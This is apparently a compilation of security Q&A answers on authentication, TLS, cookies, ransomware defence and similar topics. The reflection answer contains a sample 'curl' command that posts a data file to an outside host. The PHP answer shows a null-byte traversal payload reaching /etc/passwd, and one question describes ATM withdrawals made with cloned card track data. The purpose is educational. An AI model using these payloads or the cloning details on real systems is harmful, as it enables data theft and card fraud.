Is a Windows AD credential combined with AD group membership 2 factor authentication?

The notion of "two factor authentication" is not a strictly defined mathematical notion. However, usually, it relates to having two factors for authentication.

The second term is important: you are trying to authenticate a user, i.e. to make sure that the user is indeed at the other end of the line. Right now. When looking up the account membership in the AD server, you are not verifying whether the human user is there or not. Indeed, the user account is still a member of the groups even when the user is not there at all. Thus, verifying group membership is not authentication at all. Nothing in the AD will tell you: "yeah, you are talking to Bob right now". At best, the AD will tell you: "there exists a user known as Bob".

AD group memberships are not authentication. As such, they cannot be an authentication factor. What AD group memberships relate is authorization, a completely distinct concept.


Security issues in "Remember Me" function code example

Storing sensitive data in a cookie is not necessarily unsafe, it depends how you configure the cookie. Te cookie needs to be configured as a secure cookie (limited to HTTPS only), HttpOnly flag should be set to avoid cross side scripting (the cookie will not be available from javascript) and the domain must be set to the correct value depending on the scope of the cookie.
Using these settings it is OK to place the username in the cookie.

Regarding the other data in the cookie it is possible to create a triplet of username, series token and one time token.
This triplet is stored in the database and in the cookie and can be compared in order to authenticate the user. There is an excellent article explaining this technique on Barry Jaspan's blog

If you would like an additional security measure, you can further encrypt the cookie value with a key found on the server so the details such as the username and tokens cannot be read on the browser even by the user himself. But if you have a load balanced environment you will have to make sure the encryption key is shared between all instances using your DB for example.

Regarding the specific implementation mentioned in your code example there are a few concerns:

what does the obscure function do? even if its a one way has function it would be safer to just use a cryptographically secure pseudo-random number instead
what is the idea of the row id parameter? it is not understood and is not random
it is not clear what it means when $cookie is not 'on'. The authentication values are then stored in the session instead of in a cookie. If $cookie!='on' means that cookies are disabled, this is a bad practice, since session ID will be kept in the url.


ATM CVV1 + Service Code, POS Security Flaw?

After hours of research, I think I found the answer:
This specific ATM model (Private company) doesn't have the authorization to transfer track data in the request message, therefore CVV1 is not checked by the bank!

https://stackoverflow.com/questions/29820337/difference-between-pos-entry-modes-field-22#34044458
" '90' used in case track data present in the ISO 8583 request message, '02' - if, for same reason, acquirer or terminal device not qualified to transfer track data in the request messages." @iso8583.info-support

So the POS entry mode for this ATM Model is '02', that's why no matter what CVV1 value I encoded in the track data, the withdrawal was successful.

Is that something normal or should I report it?
How criminals are still doing ATM frauds with cloned cards?
In Europe, all ATM fallback transactions must be declined according to This : pg 226 - 7.6
https://www.mastercard.us/content/dam/mccom/global/documents/transaction-processing-rules.pdf

Is the above means that criminals are doing fraud only on Bank Branch Terminals ?
According to this, simple cloning of my own CC should work on Bank Branch ATM right?


Is there a technical security standard for internet facing test environments?

There is no such standard. Even robots.txt is only a recommendation the bots might follow or ignore and some might even explicitly check whats behind the things they should not crawl. And test environments might actually be interesting for a potential attacker since they might have weaker security.

If you don't want others to crawl your site you need to explicitly restrict the access instead of hoping that they voluntarily don't access the site. Such explicit restrictions are done for example with authentication using username+password or client certificates or by restricting based on source IP address who can access this site. This is similar to putting a lock on the door where only few users have the key instead of just putting a sign there which kindly asks others to not open the door.


Is there a formal common Internet threat model?

Formal model for an active attack
Sadly there is no way to give you a correct and unique answer.
Please read the RFC3552 you pointed out carefully:

3.3.5. Man-In-The-Middle
A MAN-IN-THE-MIDDLE attack combines the above techniques...

About which type of active or passive attacks that have to be considered:
Both techniques will probably be used (mostly by complement, one with the other) to try and get the data the attacker is after.
Depending on what you have to protect and who could be interested in parts of your data the threat model could be constantly changing even for the same attacker on your system.
Sadly this means that there really is no available attack cookbook and this is not because they are keeping this secret, but because each target and attack are different and each way the attack happens(exploit, security hole, phishing site...) are constantly different, changing, and evolving.
But from my point of view, the most vulnerable element of any securisation edifice stay human: first the user, but the programmer too!.


Is a browser session encrypted using https with just the IP?

The problem is likely that the certificate is for a domain name, not the IP. So, when the browser checks to see if the certificate matches the domain, it doesn't.

The connection is encrypted, that's not the problem, but you no longer can be assured that it has been encrypted by the party you hope is doing the encryption (the site you were aiming to connect to). So, it can be possible that someone can sit in the middle of your connection and read or modify the traffic.


Retrieving client certificate using Tcpdump results in zero length certificate

In TLS, after presenting its own certificate, the server may ask for a client certificate (CertificateRequest message). The request contains the list of the CA names that the server will use to validate the certificate. The client must then respond with a Certificate message containing a matching certificate: the client will scan the certificate it owns for one which has been issued, directly or indirectly, by a CA whose name is one of the names specified by the server.

If the client does not have a matching certificate, then it must send a Certificate message with an empty list (which is what you observe)(in SSL 3.0, in that situation, the client omitted the Certificate message altogether, but since TLS 1.0 an empty Certificate is mandated).

When the client does not present a certificate, it is up to the server to decide what to do next. The server may accept the connection nonetheless. In IIS configuration, that's the difference between "request certificate" and "require certificate". Among possible behaviours, the server may accept the connection at the SSL level, and then fall back to an application-level authentication protocol within the tunnel (that, from the outside, would appear as "encrypted application data").

Therefore, either you do not have a matching certificate on the client side, or the client does not notice that his certificates are matching, e.g. for lack of an intermediate CA (in the case root -> intermediateCA -> end-entity, and the server sends the name of the root, but the client knows only "end-entity").


Dyanamic class load for server side application

Reflection, and Class.forName in particular, can enable execution of arbitrary code.
Example 1: Malicious developer
    Class runtimeClass = Class.forName("java.lang.Runtime");
    Object runtime = runtimeClass.getMethod("getRuntime").invoke(runtimeClass);
    clazz.getMethod("exec", String.class).invoke(runtime, "calc.exe");

Instead of calc.exe it can be for instance some command that destroys something important on your server, or installs a virus, or steals your data like
curl -d "@data.txt" -X POST https://your.site.com/data

Even if you make sure the word "Runtime" is not used in the code, it can be created dynamically. Thus you cannot guarantee that Runtime class is  not used in the reflection code.
Example 2: Honest developer
There can be security problems even if such code is implemented by a honest developer. For instance, you want to simplify the code and build some class or method name dynamically depending on user request, and then execute it. See an OWASP example:
    String ctl = request.getParameter("ctl");
    Class cmdClass = Class.forName(ctl + "Command");
    Worker ao = (Worker) cmdClass.newInstance();
    ao.doAction(request);

In this case malicious user can trigger some method even without having permissions required by business logic.
The goal of static analysis tools is to show you the places in the code that can potentially lead to security problems. You decide if particular case means any risk for you or not.


Null byte injection in PHP concerns how null bytes are handled in filesystem operations. If an attacker can inject a null byte into a filepath, the underlying C function will disregard anything after the malicious character. This can be used in order to bypass constraints such as the intended file's extension.

The following example is from php.net:

<?php
$file = $_GET['file']; // "../../etc/passwd\0"
if (file_exists('/home/wwwrun/'.$file.'.php')) {
    // file_exists will return true as the file /home/wwwrun/../../etc/passwd exists
    include '/home/wwwrun/'.$file.'.php';
    // the file /etc/passwd will be included
}
?>

http://www.php.net/manual/en/security.filesystem.nullbytes.php

In this case, the '.php' extension will be ignored during file operations if the user submits a null character at the end of the file parameter. Combined with a directory traversal string, it allows the attacker to "include" arbitrary files that will be disclosed.


Not convinced on the security of a JWT Token + CSRF Token

CSRF will have to be set in the request header.

The anti-CSRF-token will be submitted in the request message body.
If there is a XSS-vulnerability and an attacker manages to exploit it, the last thing he will probably care about is the anti-CSRF-token. XSS is a much more powerful attack, and an attacker can manipulate almost anything with XSS.

Also, the anti-CSRF-token is stored in a hidden form field in the html-code.

It exists so that each request is bound to a specific user-session.
It literally exists to make CSRF impossible, even if the token somehow leaks. An attacker would only be able to manipulate the current, active session of that particular user whom he stole the anti-CSRF token from.

  But what if an attacker gets your CSRF token using XSS and sets it as a header for requests sent by a malicious website with a CSRF exploit. Is this attack possible?

The JWT would still be protected.
I suggest you should read up on how CSRF works: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)


Your cell phone carrier will likely have the capability to do this for you. However for privacy reasons (silly I know) they may be reluctant to share the source number with you. However you may be able to ask them to permanently block that number from contacting you.

In addition if what is being sent to you possibly violates the law, of course you should contact your local law enforcement.


Can scripts execute virus on its own if we only open it in an IDE or Notepad?

If there is a vulnerability in the IDE or text viewer that the file is designed to exploit, then certainly.
But that's a different kind of malware that you would get if the file was an executable that infected you when you ran it.


I think it's referring to "hub" as the center of a hub-and-spoke VPN architecture, as shown in this diagram.

Later on in the document you linked to, it says:

  Dynamic—Dynamic crypto maps can only be used in a hub-and-spoke VPN
  topology. Dynamic crypto map policies allow remote peers to exchange
  IPsec traffic with a local hub, even if the hub does not know the
  remote peer's identity.


What is the optimal result for the elliptic curve patent issue?

ECC patents are more about implementation techniques than the actual mathematical objects. Using elliptic curves for cryptography has been theorized and published in 1985, and patents live for only 20 years, so using elliptic curves is, per se, patent-free since 2005 (whether such patents would have held in court is unclear, but now these do not apply anymore).

It has been said that the implementation of ECC in OpenSSL has been contributed by Sun Microsystems who took great care, in that time, not to use any implementation technique covered by any patent. In that sense, using OpenSSL will keep you free of the shark-infested patent waters. Note that nobody (and certainly not me) is guaranteeing that there won't be any patent-related legal trouble if you use OpenSSL (there are people who sue other people for a living, whether their case is valid or not), but this seems improbable. About half the Web today is powered by Apache+OpenSSL, and ECDHE support (hence elliptic curves) is enabled by default. If there was profit to make by suing people who use OpenSSL, the environment is so target-rich that the trial-feast would have already begun for good -- and that is not happening.

ECC patents which might still be applicable are mostly about some optimizations of implementation of computations over curves in binary fields, in particular Koblitz curves and normal bases. See this previous answer. You will not use that without knowing it, though.

Stating that Certicom and other companies "own" the technology is, at best, debatable. These companies occasionally claim ownership. However, whether mathematical objects can be "owned" at all is unclear. And the 20-year patent clock ticks for everybody; anything which was published in 1993 or before is now, by construction, patent-free.


From the SQLMap man pages:

--delay=DELAY       Delay in seconds between each HTTP request


Can TLS fallback work with server side support only?

That is correct: clients that do not support TLS_FALLBACK_SCSV cannot benefit from the server's implementation. However, understanding the intent of the feature may help put your mind at ease.

There are broadly 2 categories of TLS/SSL implementations: modern and legacy. Modern implementations use recent TLS versions (though they may be locked into older versions like TLS 1.1) and can be updated with support for additional extensions. The code required to add TLS_FALLBACK_SCSV support into a TLS library is vastly smaller and simpler than implementing a new TLS version.

Legacy implementations cannot be updated, but may need to be supported for various practical reasons. TLS_FALLBACK_SCSV allows modern implementations to support legacy protocols without being coerced into using them when both endpoints can support a better protocol.

So communication with a legacy implementation is never protected, presumably because it doesn't support newer TLS versions anyway. Obviously, the safest method would be to disable all but the very latest TLS version, but that would render a large portion of TLS services inaccessible. TLS_FALLBACK_SCSV is a good way (once it is widely-enough adopted) to allow legacy connectivity when necessary, while still preventing modern implementations from being downgraded by a man-in-the-middle who can drop selected packets.

To answer your question directly, the SCSV is sent only by the client. As a pseudo-ciphersuite, it can never be "chosen" by the server, and the server cannot choose a value that the client did not send. So a client that does not support TLS_FALLBACK_SCSV will not send it, even if the handshake is a fallback from a higher version, and the server will not behave any differently. A client that supports the SCSV and experiences a fallback will send it as one of the supported ciphersuite values; a non-conforming server will simply select one of the other ciphersuites that it supports, ignoring the unknown value.

P.S. TLS_FALLBACK_SCSV was previously called TLS_DOWNGRADE_SCSV in an earlier draft RFC, which indicates its purpose in preventing downgrade attacks. I presume that it was renamed to indicate the action that the client is actually taking: falling back to an older protocol version because of a handshake failure.


What is the purpose of a man in the middle certificate?

In the case of a corporate network this is called an SSL Proxy. These SSL proxies intercept certificates and should be transparent to end users. It sounds like yours might have some configuration issues. Bluecoat probably has one of the most popular SSL proxies but it can be done with Microsoft ForeFront Threat Management Gateway.

The most common stated reason why SSL Proxies are used is to have the ability to inspect corporate traffic for audit, compliance, and/or data loss prevention purposes. There is plenty of debate on the legality of doing this but in the U.S. - as far as I know - it is legal as long as it is disclosed. (i.e. Banner pop-up stating that the company has the right to monitor, etc.)


Consider using a tool that can clean your MBR, like Boot Repair Disk. Make sure to wipe the MBR, and not repair it, as generally you can't know if the malware would be removed by repairing.

I guess it is fair to assume that if you have a writable MBR, it could be infected. Thus, yes, an attacker could infect MicroSD cards. DVD/CD (optical drives) function differently (see UDF and ISO 9660), they do not use a MBR.

For the creation of a Live CD, it's best to use dedicated software as it takes care of different variations, be it hardware/firmware or configuration, such as OS or partitioning.

So, if you need to make sure you have removed any possible malware on the drive:

Create a clean MBR, practically redoing the partitioning of the drive.
Format your new partition(s).

Both steps are necessary, because these are two logically different steps and generally doing one does not affect the other.


Windows process documentation for tuning Sysmon

Microsoft tends to not document things which they don't believe are to be used by customers.  I would not expect to find Microsoft documentation for this executable but a close alternative is to research findings from people who reverse engineer Microsoft products.  I have a general expectation of this from having worked in support of core Windows OS a while ago.  The only supported end user tweak on this service that I remember was splitting services away from a shared svchost instance into a single, dedicated service in a new svchost process, for added system stability or for debugging.

If you would be happy with third party research, using Sysinternals tools on a live system, searching the Windows registry for values to do with services or picking up a copy of Windows Internals book could get you close to what you actually want to achieve.

Samples:
https://www.geoffchappell.com/studies/windows/win32/services/svchost/index.htm
https://www.raymond.cc/blog/identify-loaded-svchostexe-in-windows-task-list/

Finding out the parent process can be done a number of ways but each process carries it's own Process ID (PID) as well as the PID of it's parent process.  If the parent process is still running you can query it by finding that PID.  Further if you enable process tracking auditing, those process creation Windows events should contain the parent process information which spawned the new process.


How can police get someone's search history?

What are the possible ways they can do that?

The main ways police can obtain search records are by:

Looking at local browser history on the suspect's computer (as you mentioned).

Demanding connection logs from the ISP, revealing what sites have been visited.

Demanding connection records from the sites that you have visited.

Demanding search records from search engines, such as Google.

Is it possible for ISPs to have access to that kind of information? My understanding is that anything over SSL isn't easy to decipher unless there is some kind of MITM attack.

TLS encrypts web traffic, however you still need to know the IP address and domain in order to connect to a website over HTTPS, and this information is sent in the clear. When connecting to this site for example, your ISP sees the IP address of stackexchange.com, and SNI also gives away the subdomain (security). Your ISP will not know exactly what pages you viewed, however. See another question for more information on what exactly TLS protects. More specifically:
https://subdomain.example.com/some/path?with=stuff
|       visible to ISP       |     encrypted     |

If subdomain.example.com is incriminating, then TLS will not protect you. If the rest of the URL is incriminating, then TLS will protect you from ISP snooping but will not protect you if a court order demands the connection logs from example.com. Only an anonymity network, such as Tor, can help prevent this by disassociating your real IP from the IP connecting to the websites.

Does using a Tor Browser prevent these other ways?

Yes, Tor Browser prevents this type of snooping because everything between you and the exit node is encrypted. The EFF has a great explanation of Tor and HTTPS. When using  both, you can use this diagram to see exactly what different adversaries are able to see and from what position when you are using Tor and HTTPS together.. It is helpful to use this to develop your threat model.

The diagram looks a little different if you are using Tor without HTTPS. While Tor still prevents your ISP from seeing anything other than the fact that you are using Tor, the exit node will be able to read the traffic (but it cannot tell where it came from). This can be an issue if you are submitting sensitive credentials over Tor to a website without using HTTPS. Check out the EFF link to see an interactive version of the diagram where you can toggle Tor and HTTPS status.
One important thing to remember is that Tor is only a tool and, like all tools, you can use it wrong. It will not help you if you screw up and post bomb threats to your school while you are the only user of Tor at the time. Likewise, Tor does not prevent you from accidentally revealing PII.


vulnerability scans on machines not on the network?

It depends on what you are trying to scan.

You can easily scan for open ports, OS version, etc. with tools such as this online nmap scanner


Is this possible to use fake AP to get wpa keys?

Apparently not ;-)

Is it possible to speed up WPA/WPA2-PSK cracking using a rogue AP?

WPA/WPA2-PSK uses a PTK (Pairwise Transient Key) for each client to encrypt the communication !


If you want to test a protocol with netcat, then you need to manually send everything that a normal client would send. For HTTP, it would look something like this:

GET / HTTP/1.1
Host: example.com
Authorization: Basic QWxhZGluOnNlc2FtIG9wZW4=
User-Agent: Some call me... Tim

Of course, you'd have to change all the fields to reflect what you'd want to send. You're better off using a tool that actually knows how to speak HTTP.

I'm partial to perl's lwp-request package, which most people know as simply the GET and POST commands. It would look something like this:

  GET -USse -C someuser:somepass  http://example.com/

See the man page for options, but -U=Request headers, -S=Status chain, -s=Status code, -e=response headers, -C=credentials

It's simple, capable, and flexible.

curl is also a very popular package for doing this sort of thing and can match the lwp-request functionality pretty much point-for-point and then some, but it's more complex. Same goes for wget, another popular option.


What steps can be taken to secure snail mail?

Alice is mistaken regarding analog media in this case. It's often overlooked, but because (by it's very nature) digital communication involves a computer at both ends, you can get the computer to do the work required for strong crypto, and so strong crypto becomes possible.

You can do secure communications over analog (typically with either one time pad or with a code) but these options require work to be done by the recipient.

For effortlessly secure communications you need strong crypto and that means computers.


Two questions about learning Linux exploit development fundamentals

First, I plan on reading "Understanding the Linux Kernel" by Bovet. This book covers Linux memory management, but just to be sure: does it cover EVERYTHING that I will need to know about how memory is laid out when programs are being run?

EVERYTHING? Unlikely.. however I've heard of the book, and suspect it is a good one and definitely get you started. As always in the computing world though... practice makes perfect and there will inevitably be a situation you haven't read about that only your practice/experience in dealing with complex scenarios can assist with.

  Riddle number two: What would be the best source of information for learning the specifics of how gcc translates C code to ASM (besides the gcc manual)?

the GCC manual would be the best source for that information.. though, I must question why you want to know this anyways?

I assume it's because of the ubiquity of gcc in applications/software that people deploy and a desire to improve your reverse-engineering skills.. if this is the case, I'd just say that brushing up on Assembly language is godsend when it comes reverse engineering. Play around with the program STRINGS (and other such tools.. a google search will yield plenty) to get an understand for how things look, and then maybe compile your own (simple) program... enumerate it's assembly and work that way. By doing that you know WHAT the program does, and you can figure out how it is doing it. (Which is knowledge you can then apply in the reverse to 'real' situations.)


How can we beef the security of our Windows Server 2012 R2 against ransomware?

The basics for protection against ransomware is :

Update frequently (OS, AntiVirus, ...)
Don't open phishing / infected emails which usually convey the ransomware (user awareness)
Backup, backup, backup (and check them!)

The majority of the ransomware risk is cancelled by a proper backup strategy. If your data are safe in some offline place, they can crypt whatever they want. It's surely a hindrance to go through the restore procedure, but it does not cost more.

Some basic techniques might also help, email filters, macros scanning/disabling, using a least privilege policy for your user.


PDF User Password always give access to the Owner Password, even when encrypted with AES-128

Yes, that's normal. Only the user password offers any real security; the owner password is pure snake oil (thanks Adobe). I'll make the same comparison I always make: if the owner password actually worked as advertised, it would be equivalent to effective DRM, which is well-known to be impossible.


That's correct: if you want to exploit a POST-based XSS, you need the user to do a POST request with malicious to the exploited page.

This is most often done by adding a auto-submitting form in a HTML page hosted by the attacker. There are other techniques, like clickjacking, but hosting a HTML page is the easiest way to go.

Using the Fetch API isn't useful, since you would need to be able to run JS on the target site from the victim browser... so you wouldn't need to exploit a XSS at first place.


If remote access should not be allowed, having no policy will leave your bosses no base for disciplinary action if someone manage to circumvent your firewall and creates any kind of problem, because doing so wasn't forbidden.

How important that is in your situation is up to you and your bosses to decide.


The AWS documentation has a vulnerability reporting section.

While what you are describing is not a vulnerability in the S3 infrastructure, I would be genuinely surprised if this was not still an appropriate path.  Provide the information to AWS Security at aws-security@amazon.com, using their PGP key if you so desire.

They -- better than anyone -- would know or have a way to identify who owns the bucket, and they should be in the optimum position to identify and make contact with the bucket owner.


set uid for reboot binary & pm-suspend : security hole?

Security, in my opinion, is only relevant and lack of it is a threat, when you have something to lose. If this is, say, your test machine and you put effort into doing nothing with that machine, loss of which can cause material or emotional distress, then I see no point in hardening the system. Security and convenience are complimentary trade-offs. More of one usually means equally less of the other. If you have nothing to lose on this machine, I am all for the convenience. Hence, laxing the security measures.

Having said that, in my 20+ years of UNIX sysadmin life, I have seen more than once, that the convenience measures being transported from insignificant machines, to those which are critically important to the enterprise operations and for what ? Just in the name of making something easier for the user, without any regard to the security implications.

So, my advice would be, go for it but don't be a slave to convenience. These things have a tendency of coming back to bite one in the ass :-)


How to fight specific spam message pretending to be from my company?

There's close to nothing you can do about it.

Sending email is pretty much like sending regular email. What stops you from printing an envelope pretending it's from Apple, put a message inside telling the receiver that if he takes the enclosed flier to any Apple Store, he will be given a free iPhone 7? Nothing, right? Email is just the same.

You can report the message and the IP address, and the spammer will just switch networks and keep spamming. You can send legitimate email messages to all your users, informing them about the spam, and the users will happily ignore the mail, and ask about the free shopping.


This is a feature to prevent servers to get buggy. From GREASE for TLS:

  TLS clients offer lists of 16-bit code points (e.g. cipher suites) that servers select from. To remain extensible, servers must ignore unknown values. However, servers may have bugs and reject unknown values. These servers will interoperate with existing clients, so the mistake may spread unnoticed, breaking extensibility for the whole ecosystem. We will reserve some values to advertise at random, to prevent such mistakes before broken servers are widespread.

And once you know how it is called you can also find the feature in the source code of BoringSSL (the OpenSSL fork used by Chrome).

  // Add a fake cipher suite. See draft-davidben-tls-grease-01.
  if (ssl->ctx->grease_enabled &&
      !CBB_add_u16(&child, ssl_get_grease_value(ssl, ssl_grease_cipher))) {
    return 0;
  }

And the values it will announce can be found in the internet draft:

  |       Value       | Description | DTLS-OK |    Reference    |
  +-------------------+-------------+---------+-----------------+
  | {TBD} {0x0A,0x0A} |   Reserved  |    Y    | (this document) |
  | {TBD} {0x1A,0x1A} |   Reserved  |    Y    | (this document) |
  | {TBD} {0x2A,0x2A} |   Reserved  |    Y    | (this document) |
  | {TBD} {0x3A,0x3A} |   Reserved  |    Y    | (this document) |
  ...
  | {TBD} {0xEA,0xEA} |   Reserved  |    Y    | (this document) |
  | {TBD} {0xFA,0xFA} |   Reserved  |    Y    | (this document) |

Note that this answer here is based on my answer to a similar question in stackoverflow.com.


Are quickly closed pop-up windows in browsers a threat?

I don't know the sites that you are referring to so I can't say with certain what was going on behind the scenes, but I can perhaps explain how this happens within the scope of digital advertising.

What I believe you are referring to is a practice known as clickjacking, and this is sadly quite a common practice. See this OWASP page for more information.

Ordinarily when I detect this kind of behavior the clickjacking is used to falsely attribute your legitimate attempt to close a window with an advertising click, which essentially registers a click-through event on the would-be-visible ad. Generally [legitimate] clicks tell the advertiser that the ad (impression) was seen and interacted with by a [hopefully] real human visitor, and the advertiser rewards the publisher (the site that hosts the ad) with payment for serving the impression.

Unfortunately, in the malicious case of clickjacking attacks, the perpetrator gets paid and the advertiser's ad is never seen (though is inadvertently clicked on).

Hope this helps shed some light on what could be going on, but @bashCyper's answer is absolutely right, it is a threat and it is recommended to always keep your browser updated in order to protect yourself.

UPDATE:

Additionally, clickjacking can also provide the attacker with specific information about you. Digital advertising is one of the most effective ways to recon potential victims because of the invasive nature with regards to the information that is collected. Information grabbed by advertisers after a click is registered can be: browser type, version, IP, OS, etc. All of which can be used to mount highly precise malvertising campaigns, which essentially attempt to deliver malware via digital advertisements that target specific browser versions with known vulnerabilities! See the below articles for more information about this.

https://www.wired.com/insights/2014/11/malvertising-is-cybercriminals-latest-sweet-spot/
https://www.scmagazine.com/scammers-exploit-native-ad-content-providers-to-serve-malvertising/article/696789/


What's the risk if I accidently type my password into a username field in a website?

The greatest risk is if the site logs login attempts based on the username that a user enters, rather than the account.  Your password will then be displayed in cleartext in the logs, which may be leaked at some future time.

In most cases, nothing risky will happen.  The site already has access to your cleartext password while you're logging on, whether they store it securely or not, so sending your password to that site in a different form field wouldn't have consequences, unless other users can see what you've entered into that field.

The normal best practices apply, of course: Never reuse your password across different sites. The site owner might be malicious, and even large, trustworthy, highly audited multinational companies will leak customer data at alarming rates.  Your information has already been leaked.

This way, if you don't reuse any passwords, and use a password manager to generate truly random, unique passwords for each site, when you suspect that a password might leak, such as being logged when it shouldn't after you put it into the wrong form field, then you can update the password once on that site only, and your risks will be mitigated.


How, if at all, are some programming languages inherently less safe?

Safe programming is a subset of correct programming -- every exploitable vulnerability is, basically, a bug such that the consequences of exercising the bug are advantageous to an ill-intentioned individual (the "attacker").

Languages offer facilities which help or not help in making correct programming. For instance, if the task at hand involves doing things with character strings, languages that have an inherent type for character strings, handled as immutable values, make things much easier for the developer. Many modern languages such as C#, Python, PHP or even Javascript fall in that category. Conversely, more low-level languages like C and Assembly require the developer to handle allocation for buffers holding strings, taking care of all lengths and deallocation at the proper time. In that sense, C and Assembly are "less safe" languages than most others when it comes to handling character strings, because they require more care from the developer. "Care" is a scarce resource.

In the same vein, some languages include a lot of "magic" such as automatic trans-typing, which means that a seemingly simple expression may hide a lot of complexity, that may bite the unwary developer. Some modern languages such as C#, Python, PHP or Javascript have that flaw. Conversely, low-level languages such as C and Assembly tend to be "safer" in that everything they do is explicit. The developer just has to read what is in front of his eyes, with less mental inferences on what the interpreter/compiler will do. "Thinking time" is a scarce resource.

There is no paradigm that is inherently less safe than any other; however, lack of a defined paradigm is assuredly less safe. Safe programming, ultimately, is about a developer who knows what he is doing, and this comes from discipline.

Edit: "Discipline" means never writing any code whose complete behaviour, under all possible combinations of normal and abnormal input data, is not fully understood by the developer. In particular, it implies not throwing code together and tweaking until the thing accepts to run. Similarly, copy&pasting from Stack Overflow is poor discipline -- reading solutions on SO is very fine, but it must be followed by thorough understanding of what the code does.


Is HTTPS secure enough for important information?

From my experience Amazon encrypts any page that contains confidential information and any page that is used to input confidential information from the user such as credit card information.

The answer to your question as to whether HTTPS protects information from being intercepted by third parties including proxy servers is YES it does.

HTTPS and SSL does this by using public key encryption in various ways to validate the identity of the web server that your are communicating with and to also negotiate a session encryption key that is only know to the sender and receiver.

Here's a link to a YouTube video that does a fairly good job of explaining how both identity validation and session encryption are performed by SSL.

One exception to proxy servers being able to decrypt SSL traffic is a reverse proxy used by a content delivery network such as Akamai.  CDNs such as Akamai are trusted partners for the customers they provide service to and are given SSL certificates with private keys signed by trusted Certificate Authorities that enable them to act as the web sites for which they are providing caching and acceleration services to.


Challenge-Response authentication and SSL

The Client transmits PBKDF2(Username,Salt) and the Salt
The Server looks up the username and sends back the password-salt and a 32 byte challenge.

The server cannot extract the username directly from the PBKDF2(Username,Salt) since PBKDF2 is a one-way hash and not encryption. The server would need instead to compute the PBKDF2 with the specific salt for all users in the database whenever a user logs in until it has found the matching user. Given that PBKDF2 is explicitly designed to be slow this is a powerful vector for a denial of service.
Apart from that - it is unclear why the username need to be protected like this in the first place.

The client returns PBKDF2(challenge,PBKDF2(password,salt)).

Since the server does not transmit the salt which has to be used by the client, the salt used in this client response and the salt used by the server when storing the password are not the same. I.e. the client is using in its response PBKDF2(password,client_salt) while the server has stored PBKDF2(password,server_salt) with client_salt and server_salt being different. To compare the response from the client the server would have to compute it too, but it would need the original password for this. But again, PBKDF2 is a one-way hash, so it is impossible for the server to extract the original password from the server-side stored hash.
This means that the server cannot check the validity of the clients response, which means the whole authentication process does not work.

... and adding certificate pinning should make it resistant to MITM.

Certificate pinning is no magic bullet against MITM.
It only protects against a specific attack: that the attacker is able to get a certificate created by a CA which is is trusted by the client and where the CA matches the domain name. It does not protect against the attacker having access to the original certificate for example by compromising the server. It also does not protect against attacks against client or server directly, i.e. get access to the information before encryption or after decryption.

Or is the whole thing overkill given the fact that the connection is SSL encypted?

First, it does not even work as shown. It only introduces an additional DoS vector. Since it is not clear what kind of attack the added complexity should even address it likely does not add any relevant value to simply using HTTPS. And if you want to have a working challenge-response method have a look at Digest Access Authentication instead.


With software, reverse engineering works (there is even a dedicated StackExchange site for reverse engineering questions). Extracting secrets from compiled binaries has been done and redone and done again since the days of the first "copy-protected" games for personal computers, back in the 1980s. The bottom-line is that you cannot really hide a secret value in an application.

What you can do is to hide a customer-specific secret in the application. This is similar to giving to each customer his own login+password, except that the human customer does not see it (it is hidden in the application). This won't prevent reverse-engineering, but it may help with mitigating consequences: if a given "application secret" appears to be leaking too much (e.g. hundreds of different clients use it), then you can invalidate that secret on the server, without impacting the rest of your user base. (I assume here that your private key, to be hidden in the application, is used to talk to a server that you control.)

This is somehow equivalent to the Blu-Ray security model: each (physical) player has a player-specific key, and content distributors can blacklist keys which are known to have been leaked through reverse-engineering (the actual blacklisting uses a nifty system called broadcast encryption because it needs to work even without a network; but a Windows phone is a phone, thus presumed network-able).


How secure it is to store encrypted password in HTML5 local storage?

There are several problems with your approach:

1) Forward Secrecy. Suppose the attacker can monitor the communication (via hacked corporate https proxy or other way). At some later point the user deletes the account and reveals MP as he think it's useless. Using the logged data and MP all information can be restored by the attacker because you are encrypting the vault with MP'.

2) It's not clear how do you defend against compromising P. Capturing P (which goes over the network) the attacker can log in, acquire Rk and decrypt MP", unless Rk is regenerated at all logins, what means the user will be effectively logged out if she closes the browser (it might be ok and intended, I don't know). Anyway, it's better not to send P (see ideas below).

3) Encryption will give you limited security improvement. If the attacker can access localStorage, she probably has physical access and/or  compromised your machine, so you are doomed anyway (you are facing keyloggers, local script injections, whatever). Encryption will help you if the hard disc is stolen or the attacker is able to fake your domain (eg. DNS cache poisoning). It's better not to store the password in the first place.

Several ideas:

to mitigate (1) use one time session keys to encrypt all messages. For example you can use asymmetric crypto to send some random session key to the server (encrypted with the server's public key). Alternatively, you may want to enforce proper SSL sessions (by informing and educating your users ) since SSL has quiet good forward secrecy.
for (2) instead of using P to authenticate, use some advanced method eg. OAuth, preferably 2FA.
you might consider using sessionStorage instead of localStorage which is guaranteed to be deleted at browser restart (other ways it's very similar to cookies without networking). I'm not sure if all (or any) implementations can securely remove all traces of the storage at exit, so encryption still might be a good idea.


Are email systems like Countermail safe?

Although I am somewhat concerned about privacy, my main concern is security. I don't want to be tracked by google ad text as I am when I use my current gmail. And, I feel like that renders me vulnerable not only to ads, pop ups, videos but also outright spamware, bugs, etc. I recently suffered a related attack. And, I want to reduce my risk along those lines.

Use gmail. If the ads are unacceptable, use an ad-blocker, or a imap client such as Thunderbird.

When it comes to security, few can beat google. They have huge resources, and they can infer connections between happenings tat someone with a smaller service can't. They offer the advanced protection programme, which makes phishing attacks next to impossible, and standard password recovery attacks very much more difficult.

They monitor your habits, and blocks logins from unknown location. They alert you on the phone if they see a new login. And so on and so on.

From a security perspective, this is good. It makes it hard for an attacker to gain access, even more so without your knowledge.

So my suggestion? Stay with gmail if security is your focus. Consider using a mail client such as Thunderbird if the ads in the interface bugs you. If you want encryption, there's many possibilities, including browser extensions if you prefer to use the web-mail interface.

Regarding popups, I have never seen an popup in gmail that was unsolicited. I've never seen spamware or videoes either. I've found bugs, but all software has bugs. And google tends to be pretty good at patching bugs, especially if they affect security.


Banner grabbing OpenSSL versions with OpenSSL

There is nothing like a "TLS stack type and version" in the TLS specification. OpenSSL by itself has also no kind of non-standard feature which allows you to ask a server for the version. Thus you don't get such explicit information on the protocol level. You might try to guess the version based on behavior changes or specific ciphers which only exist since a specific OpenSSL version, but it is unlikely that you get a very specific result this way.

You might also get a version inside the Server header of the HTTP server, i.e. something like Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.0.e. But this can easily be faked.

